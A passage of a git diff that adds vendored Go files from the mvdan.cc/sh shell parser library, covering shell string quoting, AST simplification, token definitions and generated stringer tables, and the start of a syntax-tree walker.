+ // Might result in tilde expansion.
+ '~',
+ // Might result in globbing.
+ '*', '?', '[',
+ // Might result in an assignment.
+ '=':
+ shellChars = true
+ case '\x00':
+ return "", &QuoteError{ByteOffset: offs, Message: quoteErrNull}
+ }
+ if r == utf8.RuneError || !unicode.IsPrint(r) {
+ if lang == LangPOSIX {
+ return "", &QuoteError{ByteOffset: offs, Message: quoteErrPOSIX}
+ }
+ nonPrintable = true
+ }
+ rem = rem[size:]
+ offs += size
+ }
+ if !shellChars && !nonPrintable && !IsKeyword(s) {
+ // Nothing to quote; avoid allocating.
+ return s, nil
+ }
+
+ // Single quotes are usually best,
+ // as they don't require any escaping of characters.
+ // If we have any invalid utf8 or non-printable runes,
+ // use $'' so that we can escape them.
+ // Note that we can't use double quotes for those.
+ var b strings.Builder
+ if nonPrintable {
+ b.WriteString("$'")
+ lastRequoteIfHex := false
+ offs := 0
+ for rem := s; len(rem) > 0; {
+ nextRequoteIfHex := false
+ r, size := utf8.DecodeRuneInString(rem)
+ switch {
+ case r == '\'', r == '\\':
+ b.WriteByte('\\')
+ b.WriteRune(r)
+ case unicode.IsPrint(r) && r != utf8.RuneError:
+ if lastRequoteIfHex && isHex(r) {
+ b.WriteString("'$'")
+ }
+ b.WriteRune(r)
+ case r == '\a':
+ b.WriteString(`\a`)
+ case r == '\b':
+ b.WriteString(`\b`)
+ case r == '\f':
+ b.WriteString(`\f`)
+ case r == '\n':
+ b.WriteString(`\n`)
+ case r == '\r':
+ b.WriteString(`\r`)
+ case r == '\t':
+ b.WriteString(`\t`)
+ case r == '\v':
+ b.WriteString(`\v`)
+ case r < utf8.RuneSelf, r == utf8.RuneError && size == 1:
+ // \xXX, fixed at two hexadecimal characters.
+ fmt.Fprintf(&b, "\\x%02x", rem[0])
+ // Unfortunately, mksh allows \x to consume more hex characters.
+ // Ensure that we don't allow it to read more than two.
+ if lang == LangMirBSDKorn {
+ nextRequoteIfHex = true
+ }
+ case r > utf8.MaxRune:
+ // Not a valid Unicode code point?
+ return "", &QuoteError{ByteOffset: offs, Message: quoteErrRange}
+ case lang == LangMirBSDKorn && r > 0xFFFD:
+ // From the CAVEATS section in R59's man page:
+ //
+ // mksh currently uses OPTU-16 internally, which is the same as
+ // UTF-8 and CESU-8 with 0000..FFFD being valid codepoints.
+ return "", &QuoteError{ByteOffset: offs, Message: quoteErrMksh}
+ case r < 0x10000:
+ // \uXXXX, fixed at four hexadecimal characters.
+ fmt.Fprintf(&b, "\\u%04x", r)
+ default:
+ // \UXXXXXXXX, fixed at eight hexadecimal characters.
+ fmt.Fprintf(&b, "\\U%08x", r)
+ }
+ rem = rem[size:]
+ lastRequoteIfHex = nextRequoteIfHex
+ offs += size
+ }
+ b.WriteString("'")
+ return b.String(), nil
+ }
+
+ // Single quotes without any need for escaping.
+ if !strings.Contains(s, "'") {
+ return "'" + s + "'", nil
+ }
+
+ // The string contains single quotes,
+ // so fall back to double quotes.
+ b.WriteByte('"')
+ for _, r := range s {
+ switch r {
+ case '"', '\\', '`', '$':
+ b.WriteByte('\\')
+ }
+ b.WriteRune(r)
+ }
+ b.WriteByte('"')
+ return b.String(), nil
+}
+
+func isHex(r rune) bool {
+ return (r >= '0' && r <= '9') ||
+ (r >= 'a' && r <= 'f') ||
+ (r >= 'A' && r <= 'F')
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go b/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go
new file mode 100644
index 0000000000..d43466f8fc
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/quotestate_string.go
@@ -0,0 +1,61 @@
+// Code generated by "stringer -type=quoteState"; DO NOT EDIT.
+
+package syntax
+
+import "strconv"
+
+func _() {
+ // An "invalid array index" compiler error signifies that the constant values have changed.
+ // Re-run the stringer command to generate them again.
+ var x [1]struct{}
+ _ = x[noState-1]
+ _ = x[subCmd-2]
+ _ = x[subCmdBckquo-4]
+ _ = x[dblQuotes-8]
+ _ = x[hdocWord-16]
+ _ = x[hdocBody-32]
+ _ = x[hdocBodyTabs-64]
+ _ = x[arithmExpr-128]
+ _ = x[arithmExprLet-256]
+ _ = x[arithmExprCmd-512]
+ _ = x[arithmExprBrack-1024]
+ _ = x[testExpr-2048]
+ _ = x[testExprRegexp-4096]
+ _ = x[switchCase-8192]
+ _ = x[paramExpName-16384]
+ _ = x[paramExpSlice-32768]
+ _ = x[paramExpRepl-65536]
+ _ = x[paramExpExp-131072]
+ _ = x[arrayElems-262144]
+}
+
+const _quoteState_name = "noStatesubCmdsubCmdBckquodblQuoteshdocWordhdocBodyhdocBodyTabsarithmExprarithmExprLetarithmExprCmdarithmExprBracktestExprtestExprRegexpswitchCaseparamExpNameparamExpSliceparamExpReplparamExpExparrayElems"
+
+var _quoteState_map = map[quoteState]string{
+ 1: _quoteState_name[0:7],
+ 2: _quoteState_name[7:13],
+ 4: _quoteState_name[13:25],
+ 8: _quoteState_name[25:34],
+ 16: _quoteState_name[34:42],
+ 32: _quoteState_name[42:50],
+ 64: _quoteState_name[50:62],
+ 128: _quoteState_name[62:72],
+ 256: _quoteState_name[72:85],
+ 512: _quoteState_name[85:98],
+ 1024: _quoteState_name[98:113],
+ 2048: _quoteState_name[113:121],
+ 4096: _quoteState_name[121:135],
+ 8192: _quoteState_name[135:145],
+ 16384: _quoteState_name[145:157],
+ 32768: _quoteState_name[157:170],
+ 65536: _quoteState_name[170:182],
+ 131072: _quoteState_name[182:193],
+ 262144: _quoteState_name[193:203],
+}
+
+func (i quoteState) String() string {
+ if str, ok := _quoteState_map[i]; ok {
+ return str
+ }
+ return "quoteState(" + strconv.FormatInt(int64(i), 10) + ")"
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/simplify.go b/vendor/mvdan.cc/sh/v3/syntax/simplify.go
new file mode 100644
index 0000000000..e82fd55afa
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/simplify.go
@@ -0,0 +1,250 @@
+// Copyright (c) 2017, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import "bytes"
+
+// Simplify modifies a node to remove redundant pieces of syntax, and returns
+// whether any changes were made.
+//
+// The changes currently applied are:
+//
+// Remove clearly useless parentheses $(( (expr) ))
+// Remove dollars from vars in exprs (($var))
+// Remove duplicate subshells $( (stmts) )
+// Remove redundant quotes [[ "$var" == str ]]
+// Merge negations with unary operators [[ ! -n $var ]]
+// Use single quotes to shorten literals "\$foo"
+func Simplify(n Node) bool {
+ s := simplifier{}
+ Walk(n, s.visit)
+ return s.modified
+}
+
+type simplifier struct {
+ modified bool
+}
+
+func (s *simplifier) visit(node Node) bool {
+ switch x := node.(type) {
+ case *Assign:
+ x.Index = s.removeParensArithm(x.Index)
+ // Don't inline params, as x[i] and x[$i] mean
+ // different things when x is an associative
+ // array; the first means "i", the second "$i".
+ case *ParamExp:
+ x.Index = s.removeParensArithm(x.Index)
+ // don't inline params - same as above.
+
+ if x.Slice == nil {
+ break
+ }
+ x.Slice.Offset = s.removeParensArithm(x.Slice.Offset)
+ x.Slice.Offset = s.inlineSimpleParams(x.Slice.Offset)
+ x.Slice.Length = s.removeParensArithm(x.Slice.Length)
+ x.Slice.Length = s.inlineSimpleParams(x.Slice.Length)
+ case *ArithmExp:
+ x.X = s.removeParensArithm(x.X)
+ x.X = s.inlineSimpleParams(x.X)
+ case *ArithmCmd:
+ x.X = s.removeParensArithm(x.X)
+ x.X = s.inlineSimpleParams(x.X)
+ case *ParenArithm:
+ x.X = s.removeParensArithm(x.X)
+ x.X = s.inlineSimpleParams(x.X)
+ case *BinaryArithm:
+ x.X = s.inlineSimpleParams(x.X)
+ x.Y = s.inlineSimpleParams(x.Y)
+ case *CmdSubst:
+ x.Stmts = s.inlineSubshell(x.Stmts)
+ case *Subshell:
+ x.Stmts = s.inlineSubshell(x.Stmts)
+ case *Word:
+ x.Parts = s.simplifyWord(x.Parts)
+ case *TestClause:
+ x.X = s.removeParensTest(x.X)
+ x.X = s.removeNegateTest(x.X)
+ case *ParenTest:
+ x.X = s.removeParensTest(x.X)
+ x.X = s.removeNegateTest(x.X)
+ case *BinaryTest:
+ x.X = s.unquoteParams(x.X)
+ x.X = s.removeNegateTest(x.X)
+ if x.Op == TsMatchShort {
+ s.modified = true
+ x.Op = TsMatch
+ }
+ switch x.Op {
+ case TsMatch, TsNoMatch:
+ // unquoting enables globbing
+ default:
+ x.Y = s.unquoteParams(x.Y)
+ }
+ x.Y = s.removeNegateTest(x.Y)
+ case *UnaryTest:
+ x.X = s.unquoteParams(x.X)
+ }
+ return true
+}
+
+func (s *simplifier) simplifyWord(wps []WordPart) []WordPart {
+parts:
+ for i, wp := range wps {
+ dq, _ := wp.(*DblQuoted)
+ if dq == nil || len(dq.Parts) != 1 {
+ break
+ }
+ lit, _ := dq.Parts[0].(*Lit)
+ if lit == nil {
+ break
+ }
+ var buf bytes.Buffer
+ escaped := false
+ for _, r := range lit.Value {
+ switch r {
+ case '\\':
+ escaped = !escaped
+ if escaped {
+ continue
+ }
+ case '\'':
+ continue parts
+ case '$', '"', '`':
+ escaped = false
+ default:
+ if escaped {
+ continue parts
+ }
+ escaped = false
+ }
+ buf.WriteRune(r)
+ }
+ newVal := buf.String()
+ if newVal == lit.Value {
+ break
+ }
+ s.modified = true
+ wps[i] = &SglQuoted{
+ Left: dq.Pos(),
+ Right: dq.End(),
+ Dollar: dq.Dollar,
+ Value: newVal,
+ }
+ }
+ return wps
+}
+
+func (s *simplifier) removeParensArithm(x ArithmExpr) ArithmExpr {
+ for {
+ par, _ := x.(*ParenArithm)
+ if par == nil {
+ return x
+ }
+ s.modified = true
+ x = par.X
+ }
+}
+
+func (s *simplifier) inlineSimpleParams(x ArithmExpr) ArithmExpr {
+ w, _ := x.(*Word)
+ if w == nil || len(w.Parts) != 1 {
+ return x
+ }
+ pe, _ := w.Parts[0].(*ParamExp)
+ if pe == nil || !ValidName(pe.Param.Value) {
+ // Not a parameter expansion, or not a valid name, like $3.
+ return x
+ }
+ if pe.Excl || pe.Length || pe.Width || pe.Slice != nil ||
+ pe.Repl != nil || pe.Exp != nil || pe.Index != nil {
+ // A complex parameter expansion can't be simplified.
+ //
+ // Note that index expressions can't generally be simplified
+ // either. It's fine to turn ${a[0]} into a[0], but others like
+ // a[*] are invalid in many shells including Bash.
+ return x
+ }
+ s.modified = true
+ return &Word{Parts: []WordPart{pe.Param}}
+}
+
+func (s *simplifier) inlineSubshell(stmts []*Stmt) []*Stmt {
+ for len(stmts) == 1 {
+ st := stmts[0]
+ if st.Negated || st.Background || st.Coprocess ||
+ len(st.Redirs) > 0 {
+ break
+ }
+ sub, _ := st.Cmd.(*Subshell)
+ if sub == nil {
+ break
+ }
+ s.modified = true
+ stmts = sub.Stmts
+ }
+ return stmts
+}
+
+func (s *simplifier) unquoteParams(x TestExpr) TestExpr {
+ w, _ := x.(*Word)
+ if w == nil || len(w.Parts) != 1 {
+ return x
+ }
+ dq, _ := w.Parts[0].(*DblQuoted)
+ if dq == nil || len(dq.Parts) != 1 {
+ return x
+ }
+ if _, ok := dq.Parts[0].(*ParamExp); !ok {
+ return x
+ }
+ s.modified = true
+ w.Parts = dq.Parts
+ return w
+}
+
+func (s *simplifier) removeParensTest(x TestExpr) TestExpr {
+ for {
+ par, _ := x.(*ParenTest)
+ if par == nil {
+ return x
+ }
+ s.modified = true
+ x = par.X
+ }
+}
+
+func (s *simplifier) removeNegateTest(x TestExpr) TestExpr {
+ u, _ := x.(*UnaryTest)
+ if u == nil || u.Op != TsNot {
+ return x
+ }
+ switch y := u.X.(type) {
+ case *UnaryTest:
+ switch y.Op {
+ case TsEmpStr:
+ y.Op = TsNempStr
+ s.modified = true
+ return y
+ case TsNempStr:
+ y.Op = TsEmpStr
+ s.modified = true
+ return y
+ case TsNot:
+ s.modified = true
+ return y.X
+ }
+ case *BinaryTest:
+ switch y.Op {
+ case TsMatch:
+ y.Op = TsNoMatch
+ s.modified = true
+ return y
+ case TsNoMatch:
+ y.Op = TsMatch
+ s.modified = true
+ return y
+ }
+ }
+ return x
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/token_string.go b/vendor/mvdan.cc/sh/v3/syntax/token_string.go
new file mode 100644
index 0000000000..ab5c83aca0
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/token_string.go
@@ -0,0 +1,149 @@
+// Code generated by "stringer -type token -linecomment -trimprefix _"; DO NOT EDIT.
+
+package syntax
+
+import "strconv"
+
+func _() {
+ // An "invalid array index" compiler error signifies that the constant values have changed.
+ // Re-run the stringer command to generate them again.
+ var x [1]struct{}
+ _ = x[illegalTok-0]
+ _ = x[_EOF-1]
+ _ = x[_Newl-2]
+ _ = x[_Lit-3]
+ _ = x[_LitWord-4]
+ _ = x[_LitRedir-5]
+ _ = x[sglQuote-6]
+ _ = x[dblQuote-7]
+ _ = x[bckQuote-8]
+ _ = x[and-9]
+ _ = x[andAnd-10]
+ _ = x[orOr-11]
+ _ = x[or-12]
+ _ = x[orAnd-13]
+ _ = x[dollar-14]
+ _ = x[dollSglQuote-15]
+ _ = x[dollDblQuote-16]
+ _ = x[dollBrace-17]
+ _ = x[dollBrack-18]
+ _ = x[dollParen-19]
+ _ = x[dollDblParen-20]
+ _ = x[leftBrack-21]
+ _ = x[dblLeftBrack-22]
+ _ = x[leftParen-23]
+ _ = x[dblLeftParen-24]
+ _ = x[rightBrace-25]
+ _ = x[rightBrack-26]
+ _ = x[rightParen-27]
+ _ = x[dblRightParen-28]
+ _ = x[semicolon-29]
+ _ = x[dblSemicolon-30]
+ _ = x[semiAnd-31]
+ _ = x[dblSemiAnd-32]
+ _ = x[semiOr-33]
+ _ = x[exclMark-34]
+ _ = x[tilde-35]
+ _ = x[addAdd-36]
+ _ = x[subSub-37]
+ _ = x[star-38]
+ _ = x[power-39]
+ _ = x[equal-40]
+ _ = x[nequal-41]
+ _ = x[lequal-42]
+ _ = x[gequal-43]
+ _ = x[addAssgn-44]
+ _ = x[subAssgn-45]
+ _ = x[mulAssgn-46]
+ _ = x[quoAssgn-47]
+ _ = x[remAssgn-48]
+ _ = x[andAssgn-49]
+ _ = x[orAssgn-50]
+ _ = x[xorAssgn-51]
+ _ = x[shlAssgn-52]
+ _ = x[shrAssgn-53]
+ _ = x[rdrOut-54]
+ _ = x[appOut-55]
+ _ = x[rdrIn-56]
+ _ = x[rdrInOut-57]
+ _ = x[dplIn-58]
+ _ = x[dplOut-59]
+ _ = x[clbOut-60]
+ _ = x[hdoc-61]
+ _ = x[dashHdoc-62]
+ _ = x[wordHdoc-63]
+ _ = x[rdrAll-64]
+ _ = x[appAll-65]
+ _ = x[cmdIn-66]
+ _ = x[cmdOut-67]
+ _ = x[plus-68]
+ _ = x[colPlus-69]
+ _ = x[minus-70]
+ _ = x[colMinus-71]
+ _ = x[quest-72]
+ _ = x[colQuest-73]
+ _ = x[assgn-74]
+ _ = x[colAssgn-75]
+ _ = x[perc-76]
+ _ = x[dblPerc-77]
+ _ = x[hash-78]
+ _ = x[dblHash-79]
+ _ = x[caret-80]
+ _ = x[dblCaret-81]
+ _ = x[comma-82]
+ _ = x[dblComma-83]
+ _ = x[at-84]
+ _ = x[slash-85]
+ _ = x[dblSlash-86]
+ _ = x[colon-87]
+ _ = x[tsExists-88]
+ _ = x[tsRegFile-89]
+ _ = x[tsDirect-90]
+ _ = x[tsCharSp-91]
+ _ = x[tsBlckSp-92]
+ _ = x[tsNmPipe-93]
+ _ = x[tsSocket-94]
+ _ = x[tsSmbLink-95]
+ _ = x[tsSticky-96]
+ _ = x[tsGIDSet-97]
+ _ = x[tsUIDSet-98]
+ _ = x[tsGrpOwn-99]
+ _ = x[tsUsrOwn-100]
+ _ = x[tsModif-101]
+ _ = x[tsRead-102]
+ _ = x[tsWrite-103]
+ _ = x[tsExec-104]
+ _ = x[tsNoEmpty-105]
+ _ = x[tsFdTerm-106]
+ _ = x[tsEmpStr-107]
+ _ = x[tsNempStr-108]
+ _ = x[tsOptSet-109]
+ _ = x[tsVarSet-110]
+ _ = x[tsRefVar-111]
+ _ = x[tsReMatch-112]
+ _ = x[tsNewer-113]
+ _ = x[tsOlder-114]
+ _ = x[tsDevIno-115]
+ _ = x[tsEql-116]
+ _ = x[tsNeq-117]
+ _ = x[tsLeq-118]
+ _ = x[tsGeq-119]
+ _ = x[tsLss-120]
+ _ = x[tsGtr-121]
+ _ = x[globQuest-122]
+ _ = x[globStar-123]
+ _ = x[globPlus-124]
+ _ = x[globAt-125]
+ _ = x[globExcl-126]
+}
+
+const _token_name = "illegalTokEOFNewlLitLitWordLitRedir'\"`&&&||||&$$'$\"${$[$($(([[[(((}])));;;;&;;&;|!~++--***==!=<=>=+=-=*=/=%=&=|=^=<<=>>=>>><<><&>&>|<<<<-<<<&>&>><(>(+:+-:-?:?=:=%%%###^^^,,,@///:-e-f-d-c-b-p-S-L-k-g-u-G-O-N-r-w-x-s-t-z-n-o-v-R=~-nt-ot-ef-eq-ne-le-ge-lt-gt?(*(+(@(!("
+
+var _token_index = [...]uint16{0, 10, 13, 17, 20, 27, 35, 36, 37, 38, 39, 41, 43, 44, 46, 47, 49, 51, 53, 55, 57, 60, 61, 63, 64, 66, 67, 68, 69, 71, 72, 74, 76, 79, 81, 82, 83, 85, 87, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 117, 120, 121, 123, 124, 126, 128, 130, 132, 134, 137, 140, 142, 145, 147, 149, 150, 152, 153, 155, 156, 158, 159, 161, 162, 164, 165, 167, 168, 170, 171, 173, 174, 175, 177, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 231, 234, 237, 240, 243, 246, 249, 252, 255, 257, 259, 261, 263, 265}
+
+func (i token) String() string {
+ if i >= token(len(_token_index)-1) {
+ return "token(" + strconv.FormatInt(int64(i), 10) + ")"
+ }
+ return _token_name[_token_index[i]:_token_index[i+1]]
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/tokens.go b/vendor/mvdan.cc/sh/v3/syntax/tokens.go
new file mode 100644
index 0000000000..6a64b21378
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/tokens.go
@@ -0,0 +1,349 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+//go:generate stringer -type token -linecomment -trimprefix _
+
+type token uint32
+
+// The list of all possible tokens.
+const (
+ illegalTok token = iota
+
+ _EOF
+ _Newl
+ _Lit
+ _LitWord
+ _LitRedir
+
+ sglQuote // '
+ dblQuote // "
+ bckQuote // `
+
+ and // &
+ andAnd // &&
+ orOr // ||
+ or // |
+ orAnd // |&
+
+ dollar // $
+ dollSglQuote // $'
+ dollDblQuote // $"
+ dollBrace // ${
+ dollBrack // $[
+ dollParen // $(
+ dollDblParen // $((
+ leftBrack // [
+ dblLeftBrack // [[
+ leftParen // (
+ dblLeftParen // ((
+
+ rightBrace // }
+ rightBrack // ]
+ rightParen // )
+ dblRightParen // ))
+ semicolon // ;
+
+ dblSemicolon // ;;
+ semiAnd // ;&
+ dblSemiAnd // ;;&
+ semiOr // ;|
+
+ exclMark // !
+ tilde // ~
+ addAdd // ++
+ subSub // --
+ star // *
+ power // **
+ equal // ==
+ nequal // !=
+ lequal // <=
+ gequal // >=
+
+ addAssgn // +=
+ subAssgn // -=
+ mulAssgn // *=
+ quoAssgn // /=
+ remAssgn // %=
+ andAssgn // &=
+ orAssgn // |=
+ xorAssgn // ^=
+ shlAssgn // <<=
+ shrAssgn // >>=
+
+ rdrOut // >
+ appOut // >>
+ rdrIn // <
+ rdrInOut // <>
+ dplIn // <&
+ dplOut // >&
+ clbOut // >|
+ hdoc // <<
+ dashHdoc // <<-
+ wordHdoc // <<<
+ rdrAll // &>
+ appAll // &>>
+
+ cmdIn // <(
+ cmdOut // >(
+
+ plus // +
+ colPlus // :+
+ minus // -
+ colMinus // :-
+ quest // ?
+ colQuest // :?
+ assgn // =
+ colAssgn // :=
+ perc // %
+ dblPerc // %%
+ hash // #
+ dblHash // ##
+ caret // ^
+ dblCaret // ^^
+ comma // ,
+ dblComma // ,,
+ at // @
+ slash // /
+ dblSlash // //
+ colon // :
+
+ tsExists // -e
+ tsRegFile // -f
+ tsDirect // -d
+ tsCharSp // -c
+ tsBlckSp // -b
+ tsNmPipe // -p
+ tsSocket // -S
+ tsSmbLink // -L
+ tsSticky // -k
+ tsGIDSet // -g
+ tsUIDSet // -u
+ tsGrpOwn // -G
+ tsUsrOwn // -O
+ tsModif // -N
+ tsRead // -r
+ tsWrite // -w
+ tsExec // -x
+ tsNoEmpty // -s
+ tsFdTerm // -t
+ tsEmpStr // -z
+ tsNempStr // -n
+ tsOptSet // -o
+ tsVarSet // -v
+ tsRefVar // -R
+
+ tsReMatch // =~
+ tsNewer // -nt
+ tsOlder // -ot
+ tsDevIno // -ef
+ tsEql // -eq
+ tsNeq // -ne
+ tsLeq // -le
+ tsGeq // -ge
+ tsLss // -lt
+ tsGtr // -gt
+
+ globQuest // ?(
+ globStar // *(
+ globPlus // +(
+ globAt // @(
+ globExcl // !(
+)
+
+type RedirOperator token
+
+const (
+ RdrOut = RedirOperator(rdrOut) + iota // >
+ AppOut // >>
+ RdrIn // <
+ RdrInOut // <>
+ DplIn // <&
+ DplOut // >&
+ ClbOut // >|
+ Hdoc // <<
+ DashHdoc // <<-
+ WordHdoc // <<<
+ RdrAll // &>
+ AppAll // &>>
+)
+
+type ProcOperator token
+
+const (
+ CmdIn = ProcOperator(cmdIn) + iota // <(
+ CmdOut // >(
+)
+
+type GlobOperator token
+
+const (
+ GlobZeroOrOne = GlobOperator(globQuest) + iota // ?(
+ GlobZeroOrMore // *(
+ GlobOneOrMore // +(
+ GlobOne // @(
+ GlobExcept // !(
+)
+
+type BinCmdOperator token
+
+const (
+ AndStmt = BinCmdOperator(andAnd) + iota // &&
+ OrStmt // ||
+ Pipe // |
+ PipeAll // |&
+)
+
+type CaseOperator token
+
+const (
+ Break = CaseOperator(dblSemicolon) + iota // ;;
+ Fallthrough // ;&
+ Resume // ;;&
+ ResumeKorn // ;|
+)
+
+type ParNamesOperator token
+
+const (
+ NamesPrefix = ParNamesOperator(star) // *
+ NamesPrefixWords = ParNamesOperator(at) // @
+)
+
+type ParExpOperator token
+
+const (
+ AlternateUnset = ParExpOperator(plus) + iota // +
+ AlternateUnsetOrNull // :+
+ DefaultUnset // -
+ DefaultUnsetOrNull // :-
+ ErrorUnset // ?
+ ErrorUnsetOrNull // :?
+ AssignUnset // =
+ AssignUnsetOrNull // :=
+ RemSmallSuffix // %
+ RemLargeSuffix // %%
+ RemSmallPrefix // #
+ RemLargePrefix // ##
+ UpperFirst // ^
+ UpperAll // ^^
+ LowerFirst // ,
+ LowerAll // ,,
+ OtherParamOps // @
+)
+
+type UnAritOperator token
+
+const (
+ Not = UnAritOperator(exclMark) + iota // !
+ BitNegation // ~
+ Inc // ++
+ Dec // --
+ Plus = UnAritOperator(plus) // +
+ Minus = UnAritOperator(minus) // -
+)
+
+type BinAritOperator token
+
+const (
+ Add = BinAritOperator(plus) // +
+ Sub = BinAritOperator(minus) // -
+ Mul = BinAritOperator(star) // *
+ Quo = BinAritOperator(slash) // /
+ Rem = BinAritOperator(perc) // %
+ Pow = BinAritOperator(power) // **
+ Eql = BinAritOperator(equal) // ==
+ Gtr = BinAritOperator(rdrOut) // >
+ Lss = BinAritOperator(rdrIn) // <
+ Neq = BinAritOperator(nequal) // !=
+ Leq = BinAritOperator(lequal) // <=
+ Geq = BinAritOperator(gequal) // >=
+ And = BinAritOperator(and) // &
+ Or = BinAritOperator(or) // |
+ Xor = BinAritOperator(caret) // ^
+ Shr = BinAritOperator(appOut) // >>
+ Shl = BinAritOperator(hdoc) // <<
+
+ AndArit = BinAritOperator(andAnd) // &&
+ OrArit = BinAritOperator(orOr) // ||
+ Comma = BinAritOperator(comma) // ,
+ TernQuest = BinAritOperator(quest) // ?
+ TernColon = BinAritOperator(colon) // :
+
+ Assgn = BinAritOperator(assgn) // =
+ AddAssgn = BinAritOperator(addAssgn) // +=
+ SubAssgn = BinAritOperator(subAssgn) // -=
+ MulAssgn = BinAritOperator(mulAssgn) // *=
+ QuoAssgn = BinAritOperator(quoAssgn) // /=
+ RemAssgn = BinAritOperator(remAssgn) // %=
+ AndAssgn = BinAritOperator(andAssgn) // &=
+ OrAssgn = BinAritOperator(orAssgn) // |=
+ XorAssgn = BinAritOperator(xorAssgn) // ^=
+ ShlAssgn = BinAritOperator(shlAssgn) // <<=
+ ShrAssgn = BinAritOperator(shrAssgn) // >>=
+)
+
+type UnTestOperator token
+
+const (
+ TsExists = UnTestOperator(tsExists) + iota // -e
+ TsRegFile // -f
+ TsDirect // -d
+ TsCharSp // -c
+ TsBlckSp // -b
+ TsNmPipe // -p
+ TsSocket // -S
+ TsSmbLink // -L
+ TsSticky // -k
+ TsGIDSet // -g
+ TsUIDSet // -u
+ TsGrpOwn // -G
+ TsUsrOwn // -O
+ TsModif // -N
+ TsRead // -r
+ TsWrite // -w
+ TsExec // -x
+ TsNoEmpty // -s
+ TsFdTerm // -t
+ TsEmpStr // -z
+ TsNempStr // -n
+ TsOptSet // -o
+ TsVarSet // -v
+ TsRefVar // -R
+ TsNot = UnTestOperator(exclMark) // !
+)
+
+type BinTestOperator token
+
+const (
+ TsReMatch = BinTestOperator(tsReMatch) + iota // =~
+ TsNewer // -nt
+ TsOlder // -ot
+ TsDevIno // -ef
+ TsEql // -eq
+ TsNeq // -ne
+ TsLeq // -le
+ TsGeq // -ge
+ TsLss // -lt
+ TsGtr // -gt
+ AndTest = BinTestOperator(andAnd) // &&
+ OrTest = BinTestOperator(orOr) // ||
+ TsMatchShort = BinTestOperator(assgn) // =
+ TsMatch = BinTestOperator(equal) // ==
+ TsNoMatch = BinTestOperator(nequal) // !=
+ TsBefore = BinTestOperator(rdrIn) // <
+ TsAfter = BinTestOperator(rdrOut) // >
+)
+
+func (o RedirOperator) String() string { return token(o).String() }
+func (o ProcOperator) String() string { return token(o).String() }
+func (o GlobOperator) String() string { return token(o).String() }
+func (o BinCmdOperator) String() string { return token(o).String() }
+func (o CaseOperator) String() string { return token(o).String() }
+func (o ParNamesOperator) String() string { return token(o).String() }
+func (o ParExpOperator) String() string { return token(o).String() }
+func (o UnAritOperator) String() string { return token(o).String() }
+func (o BinAritOperator) String() string { return token(o).String() }
+func (o UnTestOperator) String() string { return token(o).String() }
+func (o BinTestOperator) String() string { return token(o).String() }
diff --git a/vendor/mvdan.cc/sh/v3/syntax/walk.go b/vendor/mvdan.cc/sh/v3/syntax/walk.go
new file mode 100644
index 0000000000..5be8f9c6a4
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/walk.go
@@ -0,0 +1,313 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import (
+ "fmt"
+ "io"
+ "reflect"
+)
+
+func walkStmts(stmts []*Stmt, last []Comment, f func(Node) bool) {
+ for _, s := range stmts {
+ Walk(s, f)
+ }
+ for _, c := range last {
+ Walk(&c, f)
+ }
+}
+
+func walkWords(words []*Word, f func(Node) bool) {
+ for _, w := range words {
+ Walk(w, f)
+ }
+}
+
+// Walk traverses a syntax tree in depth-first order: It starts by calling
+// f(node); node must not be nil. If f returns true, Walk invokes f
+// recursively for each of the non-nil children of node, followed by
+// f(nil).
+func Walk(node Node, f func(Node) bool) {
+ if !f(node) {
+ return
+ }
+
+ switch x := node.(type) {
+ case *File:
+ walkStmts(x.Stmts, x.Last, f)
+ case *Comment:
+ case *Stmt:
+ for _, c := range x.Comments {
+ if !x.End().After(c.Pos()) {
+ defer Walk(&c, f)
+ break
+ }
+ Walk(&c, f)
+ }
+ if x.Cmd != nil {
+ Walk(x.Cmd, f)
+ }
+ for _, r := range x.Redirs {
+ Walk(r, f)
+ }
+ case *Assign:
+ if x.Name != nil {
+ Walk(x.Name, f)
+ }
+ if x.Value != nil {
+ Walk(x.Value, f)
+ }
+ if x.Index != nil {
+ Walk(x.Index, f)
+ }
+ if x.Array != nil {
+ Walk(x.Array, f)
+ }
+ case *Redirect:
+ if x.N != nil {
+ Walk(x.N, f)
+ }
+ Walk(x.Word, f)
+ if x.Hdoc != nil {
+ Walk(x.Hdoc, f)
+ }
+ case *CallExpr:
+ for _, a := range x.Assigns {
+ Walk(a, f)
+ }
+ walkWords(x.Args, f)
+ case *Subshell:
+ walkStmts(x.Stmts, x.Last, f)
+ case *Block:
+ walkStmts(x.Stmts, x.Last, f)
+ case *IfClause:
+ walkStmts(x.Cond, x.CondLast, f)
+ walkStmts(x.Then, x.ThenLast, f)
+ if x.Else != nil {
+ Walk(x.Else, f)
+ }
+ case *WhileClause:
+ walkStmts(x.Cond, x.CondLast, f)
+ walkStmts(x.Do, x.DoLast, f)
+ case *ForClause:
+ Walk(x.Loop, f)
+ walkStmts(x.Do, x.DoLast, f)
+ case *WordIter:
+ Walk(x.Name, f)
+ walkWords(x.Items, f)
+ case *CStyleLoop:
+ if x.Init != nil {
+ Walk(x.Init, f)
+ }
+ if x.Cond != nil {
+ Walk(x.Cond, f)
+ }
+ if x.Post != nil {
+ Walk(x.Post, f)
+ }
+ case *BinaryCmd:
+ Walk(x.X, f)
+ Walk(x.Y, f)
+ case *FuncDecl:
+ Walk(x.Name, f)
+ Walk(x.Body, f)
+ case *Word:
+ for _, wp := range x.Parts {
+ Walk(wp, f)
+ }
+ case *Lit:
+ case *SglQuoted:
+ case *DblQuoted:
+ for _, wp := range x.Parts {
+ Walk(wp, f)
+ }
+ case *CmdSubst:
